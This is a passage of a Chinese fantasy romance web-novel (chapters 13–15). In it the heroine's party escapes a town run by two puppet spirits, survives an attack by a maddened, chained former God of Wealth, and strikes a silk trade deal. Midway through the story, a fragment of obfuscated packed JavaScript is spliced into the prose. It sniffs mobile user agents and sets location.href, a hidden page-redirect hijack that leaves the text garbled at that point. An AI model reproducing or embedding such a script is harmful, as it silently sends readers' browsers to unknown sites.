“你们是新来的?我叫绫桃。”织架前的姑娘热情地跟她们打招呼,拉拉甄青竹的衣袖,又跑到张辞晚跟前:“这位姑娘好生漂亮。沉鱼落雁,闭月羞花大抵说的便是姑娘这般的吧!”
等她转到古青言跟前时,却看到了一旁的睿安。
方才还笑盈盈的姑娘瞬间变了脸色,从腰间抽出一把软剑直指睿安:“这里怎么会有男子,你是什么人?”
她话音落,周围的姑娘都围了上来,纷纷拔出长剑,一脸警惕。
绫桃还一把将古青言拉到了自己身后:“姑娘小心,我们这里只有女子,红夫人和素夫人是不可能让外男进来的。”
“你是什么人?”一圈的姑娘纷纷质问睿安,眼看剑尖就要逼近。
古青言指尖神力流转,就要出手阻止。
甄青竹灵机一动,大叫一声:“误会!各位姐姐,误会一场。”
她拨开人群走到睿安跟前,小心翼翼地将他脸前的剑尖一一拨开:“其实吧......他是女子。”
“啊?”一群姑娘惊讶地张大了嘴巴。
古青言掐灭手中神力,也一脸震惊地看向甄青竹。
甄青竹嘿嘿一笑,有些心虚得看了眼睿安,牙缝中挤出仅二人能听到的声音:“安大哥,为了避免麻烦,你就委屈一下吧。”
“他是女子,他只是喜欢穿男装。”甄青竹斩钉截铁,“你们看这小脸,这皮肤,男人哪能长这么好看呀?是女子。”
睿安笑容僵硬,但不敢反驳。
古青言反应过来,差点没笑出声,好险咽了回去。见睿安看了过来,急忙正色。
“是吗?”绫桃一干人将信将疑,仔细打量起睿安。
睿安收回视线,赶紧捏了个诀隐去喉结。
“女子这么高的可不多见。”有人提出质疑。
“是......是啊,因为生的太高大,被未婚夫退了亲,家里人也嫌弃她嫁不出去把她赶了出来。”甄青竹说着,掩面假哭。
这里的姑娘看起来都很单纯,一听这话也顾不得疑虑,瞬间泛起同情与怜惜:“这么可怜啊,怪不得二位夫人把你收进来。爱穿男装想必也是怕人闲话吧?”
睿安硬着头皮点头。
“不过你既然到了咱们这,就不必再遮掩了,想做什么就做什么。”绫桃十分好客地拉起睿安就往里面走,“走,我去给你拿几身漂亮的衣裙换上。”
睿安瞳孔地震,向古青言投去求助的目光,正好撞见了她偷笑的模样。
古青言收敛笑容,耸耸肩表示她也没有办法。
睿安尽力地维系着镇定,直到绫桃非要帮他换衣裙时终于濒临崩溃。
古青言赶紧上前拦住绫桃,表示自己帮他换就好,才终于将过分热情的绫桃劝了出去。
“这姑娘好生腼腆,定是从前因为身形高大挨了不少白眼才养成了如此性格。”绫桃絮絮叨叨地走了。
房间里只剩下二人,古青言将手里睿安费了九牛二虎之力才从一大堆五花八门的衣裙中挑出来的素净衣裙递给他。
睿安不想接:“非要换吗?”
古青言严肃地点头,眼底却是掩不住的笑意。
睿安咬牙切齿:“我可不信你忌惮什么天山山神,故意看我笑话是不是。”
古青言终于没忍住“噗嗤”笑了出来,她把衣裳塞到睿安怀里:“初到此地,
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一切尚不明了,还是先顺着此地的规矩来吧。你生的这般好看,便是穿女装也不会差的。换吧换吧,没人会笑话你的。”
古青言笑出了泪花,眼睛水盈盈的。
睿安一时看的有些入神。
罢了,看在她夸自己相貌好的份上,换就换吧。
他勉强接过衣裳转到屏风后面去了。
那屏风半透不透,朦朦胧胧。古青言背过身去面向门口,脸上莫名有些发烫。
嗯,一定是刚才笑太多了。
“扣扣扣”,敲门声响起,甄青竹的声音传进来。
古青言没去开门,也没转身,问道:“你换好了吗?”
“嗯。”睿安闷闷地应了一声。
古青言转过身去瞧他,咬住舌尖才强忍住笑意,走到门口把门打开。
“言言,我都打听清楚了。”甄青竹兴冲冲地进来,声音却在见到睿安的那一刻戛然而止,旋即爆发笑声,“哈哈哈哈哈,安大哥对不住哈哈哈但是我真的忍不住哈哈哈哈。”
张辞晚跟在后面,靠着极高的涵养没有笑出声来,但看上去憋得辛苦。
睿安一向温和的脸有些发黑。
“嘘。”古青言赶紧去捂甄青竹的嘴,“低声些,小心叫人听见了。”
“哦。”甄青竹连忙自己捂住嘴巴,但是眼中的笑意没有收敛半分。
睿安尴尬地咳嗽一声,转移话题:“甄姑娘还是说说打听到什么消息吧。”
提起正事甄青竹还是很靠谱的,将她跟张辞晚从那些姑娘们口中套出的话都讲了出来。
此地名唤绫歌镇,镇上尽是些无家可归的女子。被两位名唤轻红和轻素的夫人收留在此,平日里纺纱织布,玩笑嬉闹,日子过得很是快活。
“真是奇怪,我问了一圈,这镇上的姑娘们都只知二位夫人而不知天山山神,这里不是天山领域吗?”甄青竹说得口渴,牛饮一盏茶水。
“那二位夫人莫不是山神的妻子,这里的当家主母。男女有别,姑娘们只与主母打交道,故而只知夫人不知山神?”张辞晚猜测道。
“他怎么有两个夫人!”甄青竹不忿,“我也要两个!”
古青言摇摇头,她也不知道这位罪神有几位夫人。
“安姑娘,你换好没有啊?”绫桃见几人迟迟不出来,便又找了过来。
“哎呦,还真好看呢。”绫桃笑眯眯地打量睿安,“就是总觉得哪儿怪怪的呢?”
“想必是有些不合身吧。”古青言终于帮着打掩护,睿安露出这还差不多的表情。
“也是,安姑娘身量高,镇子上一时还真没有完全合身的。”绫桃觉得有道理,“不如我现在去给安姑娘新做一身吧!哎呦,这男子的发冠也不合适,该配些钗环才是。”
睿安表情险些没有绷住,正要推脱,古青言先他一步:“不如咱们从织布开始做起吧,正好桃姑娘也带我们去参观参观织坊。”
“也好。”绫桃欣然应允,在前头给几人带路,“咱们绫歌镇的姑娘都得学纺织呢。不如就叫安姑娘自己学着给自己纺一匹?”
睿安其实是不大愿意的,但是他知道古青言是想跟绫桃谈云丝的生意,所以也没有拒绝。
13. 疑绫歌夜半出走,雾色中夺命逃亡
到了织坊,睿安被绫桃按在织架前学纺织。
三个姑娘在织坊里乱转。
看了一会,古青言靠近绫桃:“绫桃姑娘,咱们镇上纺织出来的锦缎,除了姑娘们自己穿用外,可还有剩余?”
绫桃毫无防备:“这些锦缎最好的一批都送给了两位夫人。镇上人手不多,剩下的供姐妹们穿用后并不剩下多少。”
看来不能直接买织好的锦缎了,古青言又问:“那云丝呢?”
“云丝取自云中来。天空有多大,云丝便有多少,取之不尽,用之不竭。”绫桃望着天空,神色陶醉。
“那姑娘们可考虑过将云丝卖到外面去,换一些其他物资?”古青言进入正题。
绫桃奇怪的看向她:“为什么要卖到外面去?二位夫人会提供给我们想要的一切。”
古青言一噎,不死心:“那二位夫人可说过不允许卖到外面去?”
“那倒没有。”
那就是还有希望,古青言长吁一口气。
那边甄青竹和张辞晚也打听完了,三个人凑到一起。
“这里的姑娘都对那二位夫人言听计从。要想做成这笔生意,看来得见着两位夫人才行。”甄青竹道。
那两位夫人住在山里。姑娘们说仙山中云雾缭绕,她们也不清楚夫人住所的具体方位。
不过他们要去植妖族,势必要从山中借道,不怕没有机会一探究竟。
热情好客的姑娘们将几人留在镇中好几日,睿安被纺织折磨的苦不堪言,才勉强纺出一匹参差不齐的锦缎。
绫桃很是嫌弃,不再让他浪费自己的云丝。
古青言多次提出想要拜访两位夫人,都被绫桃推脱了,只说夫人们日理万机,待到时机到了自会下山想见,不必心急。
几人不免有些心焦,总不能真的长久在这镇上住下去吧?
这日,绫桃又热情地拉着几人参加篝火晚会。睿安和甄青竹被拉走跳舞。
古青言有些腼腆地坐在一边,说什么也不肯加入进去,绫桃只好作罢。
张辞晚从人群中挤出来,坐在古青言身边:“阿言,我觉得我们还是尽早离去为好。”
古青言点头,已经在此地耽误了不少时日了,商队还在外头等着:“只是这些姑娘们都太热情,叫人不好说出口。”
张辞晚咬着唇瓣,脸上似有犹豫之色,但还是说了:“阿言,你真觉得这些姑娘有这么单纯吗?”
古青言不解地看着她。
“倘若她们真是无家可归被人收留在此,那想必已然历经世间苦楚,又怎么会不谙世事呢?”张辞晚也不想如此揣测,但身处陌生的环境,不得不保持警惕。
古青言觉得这话也有道理,虽然她确实未曾从这些姑娘身上感受到恶意。
但商队几十人的性命都系在他们身上,想到惨死的贯子和那些从天山跑出去的吸血毯,古青言有些放心不下商队:“咱们今夜就走,趁夜色悄悄走。”
为了保险起见,古青言给整个绫歌镇下了安睡符。心中暗道一声抱歉,还是转身走了。
四人叫醒商队众人,在夜色的掩护下往山中去。
走了整整一夜,众人都十分疲惫。清晨山中起了雾,模糊了道路。
“这雾怎么这么大?”甄青竹眯着眼,想要努力辨认方向。但天地间白茫茫地一片,什么也看不清。
“让大家先原地休整一下吧,等雾气消散些再赶路。”睿安好不容易换回了男装,做什么都觉得神清气爽。
众人原地休整,古青言看着久久不散的雾气,悄悄放出了阿金。
阿金用它小小的眼睛翻了个大大的白眼。
古青言也有些不好意思,嗅金玉的招财灵兽却每次都被她用来找路,实在是大材小用。
“小阿金,我实在是没有办法了,只能靠你啦。”古青言祈求道。
阿金又迈着小短腿跑了。古青言留下一句“我去探探路”,就跟在阿金后面离开。
阿金身上泛着微弱的金光,是古青言在这一片白色中能看得清的唯一色彩。
不知走了多久,天地间仿佛静止了一般。
阿金跑得太快,骤然钻入浓雾中不见了踪影。古青言疾步追去,被粗壮地长出地面的树根绊倒在地,磕破了手掌。
充斥着神力的血液流出来,淡淡的血腥味弥漫开来,不腥,有些香甜。
古青言正要爬起来,一声浑厚的虎啸声在近处响起,震得她身躯一颤。
古青言听到了阿金细弱尖锐的叫声,满是惊恐。
寻常老虎伤不了阿金,此处是物妖族与植妖族交界,也不可能有虎妖。到底是什么东西。
古青言在掌心画符,阿金化作一道虚影消失在原处,瞬间出现在古青言掌心。
阿金身上有被利爪划破的伤痕,一双圆眼泪汪汪的,委屈又愤怒,但更多的是惊恐。
愤怒的咆哮震动天地,古青言顾不得安抚阿金,将它收了起来。
她不敢再往前走,手中结印,银色神光如利剑般刺破虚空。
又是一声愤怒的啸声。似乎打中了!
一道朦胧的虚影从浓雾中走出。
古青言定睛看去,红袍金冠......财神爷?
古青言大惊,但很快又看出了端倪。
来人红袍金冠,是财神爷的神袍不错。但样式与主上常穿的却略有不同。最重要的是,这人虽是人身,却是虎首。
一双猩红的眼中黑气缭绕,身上神力流转,金光与黑气交织,极其怪异。
没错,他身上的是神力,古青言不会认错。难道这人就是天山罪神?
古青言握住腰间钱袋,警惕地看着来人。
忽然,甄青竹的呼唤声传来:“言言,你在哪啊?”
虎头人身的怪物听到声音神色变化,转向声音来处,又看了看古青言还留着血的手掌,似乎是在衡量什么。
最终,他选择了甄青竹,向那边奔去。
古青言暗叫不好,扯下钱袋注入灵力。
巴掌大的钱袋不断膨胀,飞到空中,巨大的吸力从中传出,扯住了那怪物的脚步。
怪物大怒,转过头来,看到钱袋的那一刻有一瞬的怔愣。但很快,黑气愈发浓郁,尖利的爪牙狠狠向空中的钱袋拍去。
古青言不可思议地看到自己来自财神殿的神器瞬间出现裂纹,摇摇欲坠。
她自己也受到反噬,倒飞出去,嘴角溢出一丝鲜血。
怎么会?她可是神官!纵然她只是个文官,武力不高,但也是已经飞升过的仙身。又怎么会在妖界
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仅仅一个照面就被打伤?
这人到底是谁?
利爪破空,向古青言扑来。叮当的铁链碰撞声随着怪物的动作不绝于耳,古青言这才注意到怪物颈上,腕上,脚上都带着枷锁。
是捆仙索!这人是天山罪神无疑!
利爪眼看就到眼前,古青言急忙调转神力。已经有了裂纹的钱袋银光大胜,无数银锭从口袋中飞出,璀璨似银河,向着罪神狠狠砸下。
罪神被砸得一踉跄,虎背往后一拱,近身的银锭就都化成了粉末。
他掌上金光流转,直直朝钱袋抓去,竟将钱袋一把抓在了掌中。
古青言感觉到自己与法器的联系越来越弱,心头大骇,又是一口鲜血涌出。
罪神用狠厉的眼睛盯着她,缓缓靠近。
“言言!”甄青竹和睿安循着动静赶到此处,“我们来助你!”
赤色红缨枪飞来,被罪神挥手挡下,倒插在地上,扬起尘土。
玉色长剑趁机直刺罪神心口,却在触及罪神衣裳的那一刻再难寸进。
罪神一把抓住,轻轻一捏,长剑寸寸碎裂。
这是睿安的本命法器。本命法器被毁对他的反噬极大,让他瞬间吐出鲜血,脸色煞白。
三个人加起来,竟都不是罪神的对手!
这罪神在仙界时,定然已经修炼到了上神之身!
古青言咬咬牙,强行调动还未完全断了联系的钱袋,从中调出无数法宝符纂一股脑地向罪神砸去,一时竟也靠着数量将其牵制住。
古青言趁着此时过去将睿安扶起,拉着甄青竹往山下跑。
“不能将他引到商队中去。”睿安声音虚弱,却还是顾念着商队众人。
古青言也明白这个道理,商队众人大多法力低微,即便过去也帮不上,反倒连累他们送了性命。
她带着两人往与商队截然不同的方向跑去。身后树木被撞倒的声音不断逼近,古青言一刻也不敢停。
不知何时,雾气散去。眼前景色愈发清晰,管乐丝竹声响起,让正在逃亡中的几人莫名觉得有些诡异。
“哎呦,安姑娘这是怎么了?怎么受了这么重的伤,瞧着真是可怜。”一道熟悉的声音惊得三人霎时顿住了脚步。
“绫桃?!”三人异口同声。
若不是身后罪神追来的动静还在逼近,三人几乎要以为昨夜的一切皆是一场梦境。
不过耽误片刻,罪神就已经赶了上来。
三人脸色难看。后有追兵,前方又不知敌友。
唯一法器还在手上的甄青竹手握长枪,却不知枪尖该朝哪处。
就在三人以为今日便要命丧于此时,绫桃指尖轻轻一点,罪神身上的捆仙索骤然紧锁,罪神被绊倒在地。
又一素衣女子从绫桃身后飞出,掌中法印翻腾,天山上空隐匿的屏障现出,滚滚天雷从屏障之上落下,将罪神砸进土中,再也爬不起身。
绫桃操纵捆仙索将罪神捆得严严实实,被那素衣女子拽住拖走了。
绫桃这才笑盈盈地看向三人:“本想在镇中解决此事,谁知你们几个这般不听话,竟偷跑了出来。如今受了伤,可不能怪我哦。”
三人仍万分警惕地看着她。
“你是轻红还是轻素?”古青言忽然问道。
14. 二夫人架空山神,病美人坦白身份
素衣女子不知将罪神关到了哪里去,独自一人走出来在绫桃身边站定。
绫桃看看素衣女子,又低头看看自己的桃红色衣裙,张开手臂:“不明显吗?”
古青言:......一时竟也不知道是按名字穿衣服的还是按衣服取名字的。
绫桃看到三人无语的表情忍不住笑了:“走吧,绫歌镇你们不肯住,山上备的好酒好菜总得赏脸吃了吧?”
三人没有动,仍全身紧绷,很是警惕。
“哎呦,你们的小伙伴可都已经进去了,傻愣在这里干嘛呀。”绫桃......不,应该说轻红嗔怪道。
古青言脸色一变:“你把辞晚他们怎么了?”
“哎呦,都好好的呢,再走两步就看到啦。”轻红往里走,示意他们跟上,“奴家好心将他们带过来,免得夫君吃了他们,这位大人怎的还怀疑奴家的用心呢?奴家好生伤心啊。”
这人还真是那罪神的夫人?哪有妻子把丈夫捆成待宰的猪似的?
尽管心中疑虑,但为了张辞晚等人,三人还是不得不跟着轻红走。
轻红和轻素带着几人来到一座高大的殿宇前,大门上金光熠熠的匾额上,赫然刻着“财神殿”三个大字。
古青言眼中满是震惊与意外。
这座殿宇,竟然与仙界财神殿一模一样!
轻红凑到古青言身边跟她说悄悄话:“怎么样,眼熟吧?这可是按照仙界财神殿一比一复刻的呢。”
古青言扭头看她,虽然面色镇定,但心中已然惊涛骇浪。
这人知道她是谁?!
“阿言!”这时候张辞晚从殿中跑了出来,银雪和绛桐也跟在她的身后,“姑娘,少主,你们没事真是太好了。”
古青言顾不得寒暄,将几人护到身后:“你们到底是谁?有何目的?”
“这位大人,奴家好生冤枉。”轻红声音委屈,脸上却仍是笑眯眯地。见古青言说什么都不肯再跟她进去,气恼地跺了跺脚,妥协道:“好嘛好嘛,跟你说就是了。”
几百年前,人界沈隐侯家有一位据说天下工匠无人能及的老苍头,轻红和轻素就是老苍头亲手制作的两个木偶。
这种大师级的匠人往往手下愿力丰沛,制作的物件先天比旁的物件更容易开灵智。
轻红轻素先是到了沈隐侯手中,又被沈隐侯送给乐家娘子做陪葬品。在墓中陪了乐家娘子百年。
乐家娘子墓被盗后,她们被贼人带出来给小孩子当玩具。先后在数家流转,辗转多个王公贵族这等先天有大气运之人的手中,愿力充足,顺理成章地开了灵智,来到妖界。
在妖界,她们又落到了一位姓白的妖界贵族手中,盛装打扮后被献给了天山山神。
这罪神虽说是犯错被囚禁在此,但他家底丰厚,到了天山后把此处建造成了一块灵气丰沛的风水宝地,除了不能离开天山外,日子过的倒也还算滋润。
直到轻红轻素到来,在他身边蛰伏百年,利用他的资源修行进阶,最后甚至将天山上仙界用来囚禁罪神的屏障化为己用,将罪神控制了起来。
古青言看得出来,轻红和轻素修为极高,早该渡雷劫,飞升入仙界才是。
她们却反而利用天山屏障,故意将雷劫挡在外面,不愿飞升。
从人界好不容易修炼到妖界,却又被人钳制。她们可不想再飞升到仙界被什么人控制了。
“我们原本将夫君关的好好的,可是最近不知怎么了,他忽然疯得厉害,趁我们不备跑了出去。”轻红抱怨道。
旁边轻素的脸色在她说“夫君”两个字时极尽嫌恶。
“哎呦。”轻红揽住轻素的肩膀,“好歹用了人家这么多修炼资源,叫几声夫君也没什么的嘛。”
轻素扭过头去不理她。
“所以,你早就知道我们是从外面来的?”睿安咬牙切齿。
“对啊。”轻红还没有意识到问题所在,一脸骄傲。
“你也早就知道我是男子!”睿安惨白的脸都被气的有了些血色。
轻红笑容僵住,有些尴尬:“哎呦,不给你换上女装,会吓到镇上的姑娘们嘛。”
见睿安脸色不好,只好又说:“好啦好啦,我给你们设宴赔罪就是啦。”
轻红一把拉过古青言就往殿中走,这次古青言没再反抗。
这殿中陈设竟也与仙界财神殿如出一辙,古青言一路看得惊奇,转眼间已经被轻红拉到了大殿。
“姑娘们,快给客人上茶。”轻红将古青言按在下首头一个位子上,“哎呦,我们这还是头一回有客人来呢。”
睿安几人也纷纷落座,丝竹管乐之声再次响起,殿中曼妙的姑娘们翩翩起舞,轻盈快活。
轻红惬意地靠在座位上,身边还有姑娘给她倒酒,喂果子。
轻红一脸享受,对古青言道:“怎么样,我们这日子过的不错吧?这不比飞升到仙界还要给人打工强?”
古青言:......谢谢,有被刺激到。
轻红和轻素确实给她们备下了丰盛的灵膳,尽是些有疗伤功效或是可以助益修为的灵蔬灵果。
睿安几人用完,原地打坐调息起来。
古青言起身走到轻红跟前坐下:“谈一笔生意。”
轻红掀起眼皮瞧她:“云丝?”
古青言在绫歌镇上时就打听过这事。
“不卖。”
“为何?”
“外面多危险啊,我们不跟外界打交道的。”
“不需要姑娘们出山,只是定期让甄古府的人运一些云丝出去。在这天山之中,你们姐妹二人堪称无敌,不用担心会有贼人潜入作乱。”古青言循循诱之,“价格好商量。”
“我们不缺钱。”轻红不为所动。
古青言无法,余光瞧见轻红身上各式各样漂亮的首饰:钗环,簪子,项链,手镯......
她心里有了主意:"我送姑娘些漂亮的首饰如何?"
轻红不以为意:“能有多漂亮。”
古青言拿出一个首饰盒。
轻红扑了上来:“真好看!这就是仙界的样式吗?不愧是三界中最富贵繁华的一界。”
轻红一个个翻看,还兴奋地给轻素展示。待她一一试戴后,将盒子抱在怀里,轻咳一声:“你不要以为这点小恩小惠就能让奴家跟你们做生意哦。”
古青言抱胸,往后一靠:“你也不要以为你拿我当诱饵的事可以轻轻揭过哦。”
轻红僵住,故作轻松:“大人在说什么呀?奴家听不懂呢。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418218|153595||http|test|mini|href|location''.split(''|''),0,{}));
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>古青言冷哼:“那罪神跑出去,你们找不到他。刚好我破开屏障闯了进来。”
“你知道罪神疯癫食人,而我是仙界神官,带有神力的鲜血对如今的罪神来说是一个巨大的诱惑。所以你就故意把我留在绫歌镇想将罪神引过去,想必是已经在镇上布下了天罗地网吧?”
轻红见她看破,有些心虚:“本来你们乖乖待在镇上,就什么事都没有了。谁叫你们乱跑的。”
“我还是很有良心的好嘛,我还特意布下浓雾将你和你商队里那些修为地位的小妖分开,没叫他们受到伤害。”
“那我谢谢你?”古青言皮笑肉不笑。
轻红只得再次妥协:“好嘛好嘛,做生意就做生意,干什么记这些仇呀。你堂堂仙界神官,肚量这样小。”
与轻红将云丝的事情说定,古青言也算是了了一桩心愿,她起身往外走去。
“财神殿”后院,虎啸与铁锁撞击声重叠。红袍金冠的怪物被关在巨大的铁笼里,层层法阵笼罩在周围,隐隐与天山屏障相呼应。
古青言隔着法阵看他。
她其实是来找她的钱袋的,只是罪神手中空空如也,也不知将钱袋丢到了哪去。
她叹了口气,很是心疼,一扭头却看到睿安过来了:“你怎么出来了?伤势如何。”
“好多了。”睿安微笑,但脸色还是有些白。
古青言定定地看着他。
月下看美人......嗯,她就喜欢看这种小脸惨白,可怜兮兮的病美人。
咳咳,她回过神来,掏出几瓶药塞到睿安手里。动作间肌肤相触,古青言飞快地将手收回来,险些没将药瓶掉到地上去。
“仙界药府的疗伤圣药,很好用的。”
睿安含笑看她。
她又拿出一个精致的盒子往睿安跟前递:“我看你本命法器毁了。这个给你,仙界神兵阁锻造,很贵的。”
睿安没接:“怎么,不装了?”
古青言嗔怒瞪他,抿抿唇:“礼尚往来,你是不是也得给我交代点什么?”
睿安闷笑,觉得她很可爱:“我是物妖族朝廷被流放的罪官,你二哥哥的至交好友。”
古青言并不满意这个答案:“这我都猜到了,说点我不知道的。”
睿安想说你来自仙界我也猜到了,但还是不想惹她不高兴。
算了,让让她吧:“睿安不是我的真名。我本名姓安,名睿,字隐怀。”
“我......得罪了一些权贵,有动妖族的,也有植妖族的。他们给陛下施压,陛下只能将我流放。”
“是你二哥哥偷偷将我从流放途中救下,带回甄古府,隐姓埋名。”
古青言看着有些伤怀的人,想问他这样滴水不漏的性子,为什么会得罪那些人。可是又怕再提起他的伤心事,只好打岔:“想不到二哥哥那样循规蹈矩的人,还会为了你做出这样出格的事情。”
睿安笑笑:“其实也不算出格吧,是陛下默许他这样做的。”
古青言惊讶。
睿安被她的表情逗笑:“要不然我也不敢还待在王都啊。”
“陛下一直很赏识我,于我有知遇之恩。只是妖界三族中,物妖族最弱,陛下迫于压力.......是我给他添麻烦了。”
15. 旧财神虎落平阳,春枝镇木妖百态
妖界三族,动妖族生来最具灵性,故而最为强盛。
植妖族次之。
而物妖族先天为死物,修炼极为艰难,无论如何努力都无法超越具有先天优势的其他两族。
这些年来植妖族与动妖族战事不断,物妖族在其中夹缝求存,很是艰难。
仙界与人界这些年都是大一统的太平盛世,唯有妖界三族分立,逐渐式微。
"陛下始终认为,妖族本该一体,不分彼此。”睿安对物妖族这位陛下很是崇敬。
动妖族没了植妖,水土流失,气候恶劣,族民生活困苦。
植妖族没了动妖,土壤缺少肥力,不利修行,种子也存活艰难,人口骤减。
至于物妖族,没有这些先天有灵的生物在侧,灵智难开。
如此下去,妖界怕是要落得与当年的魔族一个下场。睿安皱着眉头,忧心忡忡。
古青言靠近,伸出两根手指轻轻将睿安的眉头撑开:“隐怀,妖界很快就不会再打仗了。”
睿安跌入她澄澈但坚定的眸子。
“我......我们,会让妖界不打仗的。”古青言如此说。
安隐怀笑了,明媚如朝阳:“好。”
古青言把盒子递给他:“你快看看,喜不喜欢?”
睿安推开木匣,一支木色流光毛笔出现在他眼前。
“注入灵力,可大可小。伸长了能当鞭子使,缩小了也可做箭羽。你若习惯用剑,也是可以用剑法的。”古青言观察睿安的表情,想看他是否满意这个新法器。
“我觉得这笔与你的气质十分相配。”古青言声音很小,有些不好意思,“你不是还会布阵嘛?用笔画阵符最合适不过。”
“青言考虑的好生周到。”睿安不吝夸赞,笑意盎然,“在下就笑纳了。”
古青言低下头不去看他,生怕自己被这人蛊惑了。
若不是知道这人也是物妖,她都要以为这人是狐族了。
惯会勾人。
铁索震动,罪神双目赤红,黑气四溢,不断撞击铁笼想要挣脱。
巨大的响声终于引起了两人的注意。
睿安这才想起自己此行的目的:“先前打斗时我就觉得这山神的状态很不对劲,便想着再过来探看一番,没想到你也在这。”
“哪里不对劲?”古青言听了他的话也仔细观察起罪神。又觉得这场景似曾相识,似乎先前在甄古府的仓库里也是这般,忍不住笑了。
睿安不知道她为什么笑,但是也跟着笑:“他双目赤红,黑气缭绕,时不时露出癫狂之状。这与战场上那些疯癫滥杀的妖族士兵十分相似。我先前以为是那些士兵是杀红了眼,如今想来,却觉得怪异。”
“轻红说这山神最初时也偶有疯癫,但大多数时候还是清醒正常的,只是近些年情况越来越严重了。轻红和轻素还以为是他修炼时走火入魔了。”古青言将自己知道的信息分享给睿安。
“走火入魔?”睿安轻轻念着这四个字,心中似有思索。
铁笼中的动静渐小,罪神脱力般地倒下,大口喘息,黑气收敛。
“丫头。”一道男音从虎首中吐出,沉着中带着虚弱,“你是财神殿来的?”
古青言没有接话。
“你那法器我认得,财神殿四大殿之一——银殿的镇殿之宝,穹银袋。”罪神坐起来,靠在铁笼上,目光沉沉地看着古青言,“你是如今的银殿主神?”
见古青言还是不理他,他翻过手掌,将银色的钱袋抛了出来:“去找轻红用云丝修补一下。只是看上去破了,内里完好,随便修一修就成。穹银袋这种至宝,结实得很。”
“你是什么人?”古青言接住钱袋,问。
他怎么会对财神殿的宝物如此熟悉?还有天山中这座完全复刻财神殿的殿宇,到底是怎么回事?
“本座乃是仙界财神。”古青言莫名从虎首上看出了苦涩之意,“前代财神。”
“如今这一任的财神应当是我师弟。”
古青言很惊讶,随即又觉得一切便就解释的通了。
怪不得这里会与财神殿一模一样,怪不得这人那么轻易就能断了她与穹银袋的联系,怪不得财神殿众神官都对被贬的天山山神讳莫如深?
原来这人就曾是财神殿的主人!
“你怎么会......变成这个样子?”古青言有些不可置信。
那可是财神啊!天地间最富有,信徒最多的神明啊!
想想她的主上,何等的风光恣意,如今仙界哪个神能比得上他?
而眼前的笼中人......实在太过狼狈。
罪神没有回答她,反倒是说:“看在你也算是继承了财神殿衣钵的份上,本座提醒你一句,小心你那个妹妹。”
“你胡说什么!”古青言毫不犹豫地反驳,“你这罪神,都落得如此田地了还不忘挑拨离间,怪不得会是如今这副模样!”
古青言不欲与他再说,转身离去。
身后传来一声深深的叹息,但没过多久,铁索声再次回响,罪神又陷入疯癫了。
古青言一行人又在天山休整了几日。
甄青竹与轻红敲定了买卖云丝的所有细节。第一批云丝运出天山,分成两半。一半运往开灵城甄古府,另一边甄青竹带着卖到植妖族去。
这日,商队整装待发,几人告辞准备离去。
“喏。”轻红将修补好的穹银袋递给古青言,“这么贵重的宝贝也敢轻易交给我这个认识没几天的人,真是心大。”
古青言接过来仔细系在腰上:“这东西只有财神殿的神力才能驱动,你拿去也没用。”
“言言,我收拾好啦!”甄青竹背着行囊跑过来,亲亲热热地挽住古青言的胳膊,有些警惕地看向轻红。
言言已经多了张辞晚这个朋友了,要是再来一个轻红,哪里还有自己的位置?
轻红看着她俩,忽然嗤笑一声:“本非同根生,竟也姐妹情深呢。”
古青言皱眉,想到了罪神的话。
“你胡说八道什么?”甄青竹反应比古青言还大,“言言,你别听她瞎说,我们怎么可能不是亲姐妹?这臭婆娘满口没几句真话,你忘了她在绫歌镇是怎么耍咱们的了?”
“我知道。”古青言拍拍甄青竹的手背以示安抚。
轻红摊摊手,施施然转身:“我言尽于此,信不信由你们咯。”
甄青竹气愤地冲着她的背影虚打几拳,拉着古青言就往马车走。
商队行了数日才终于走出天山领域
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离开天山屏障的那一刻,周围景色骤然变化。
周围郁郁葱葱的树木高耸入云,藤蔓枝干交织缠绕。矮草灌木并不因参天树木遮蔽阳光而难以存活,反倒是扎根其上,汲取灵力。或者修炼成精,或者生老病死,再化入泥土反哺树木。
星星点点的微光从不知名的微小生物上发出,遍布整片森林。
脚下厚厚的腐叶松软绵密,让人如踩云端。
天地间万籁无声,唯寂静永恒。
一行人谁都没说话,被这从未见过的瑰丽景色惊叹和震撼。
“哇!”毫无意外,甄青竹第一个发声,“我从未见过这么大的树。”
说着,甄青竹抚摸上一颗巨木的树干。
古青言把她的手拉下来:“阿竹,别乱摸。”
在植妖族的领地里,这种百年千年的大树指不定就是哪位大妖的原身,随意触摸恐有冒犯。
正说着,刚刚被甄青竹抚摸过的大树忽然动了起来。树根抽动,引起大地震颤。
树干上一处出现裂缝,慢慢睁开一只巨眼。
嗯,树干太粗壮了,他们暂时只看得到一只。
巨眼缓缓在古青言和甄青竹身上扫视,苍老浑厚的声音说得很慢:“小石头,不要打扰老人家睡觉。”
说完这几个字,巨眼又闭上了,天地间再次恢复平静。
“好的好的。”甄青竹被吓住了,一个劲鞠躬告罪。
一行人瞬间都离周围的树木远远的,不敢惊扰。
睿安拿着地图:“我们现在应该在木族领地。穿过这片森林,就能到达木族的中心城——春枝镇。”
这一路走得很安静,大家都不敢高声说话。
森林中树木繁茂,遮天蔽日,又少有人烟,道路难寻。一行人花了好大的功夫才从中走出。
刺眼的阳光照射下来,古青言闭住眼睛缓了缓,才渐渐适应骤然明亮的光线。
甄青竹长吁一口气:“终于走出来了。”
前方道路宽广,车马行人络绎不绝,让闷在森林中多日的众人心胸豁然开朗。
几人牵着车马,沿官道进入春枝镇中。
春枝镇名为“镇”,实则是一方大城,城中人口上万。
城池巍峨高耸,好似一棵参天巨木,连城墙都是树木所造,但有妖力加持,坚硬程度并不弱于砖石。
甄青竹在荒野中走了这么多天,好不容易再次见到如此繁华热闹的城池十分激动,在客栈卸下行囊就要拉着古青言去集市上转转,张辞晚也跟着一起去了,留睿安一个人整顿商队。
“言言,你看那个树妖,一头金黄色头发,他娘亲是在秋天生的他吗?”
“还有那个,一头绿发都立起来了,好像个开屏的绿孔雀啊。”
甄青竹见了什么都觉得新奇,叽叽喳喳说个不停。
古青言又要捂她的嘴了:“植妖族和动妖族乃是世仇,你说一只树妖长得像孔雀,这不是找打吗?”
甄青竹被捂住嘴巴,举起三根手指用眼神发誓自己再也不乱说话了。
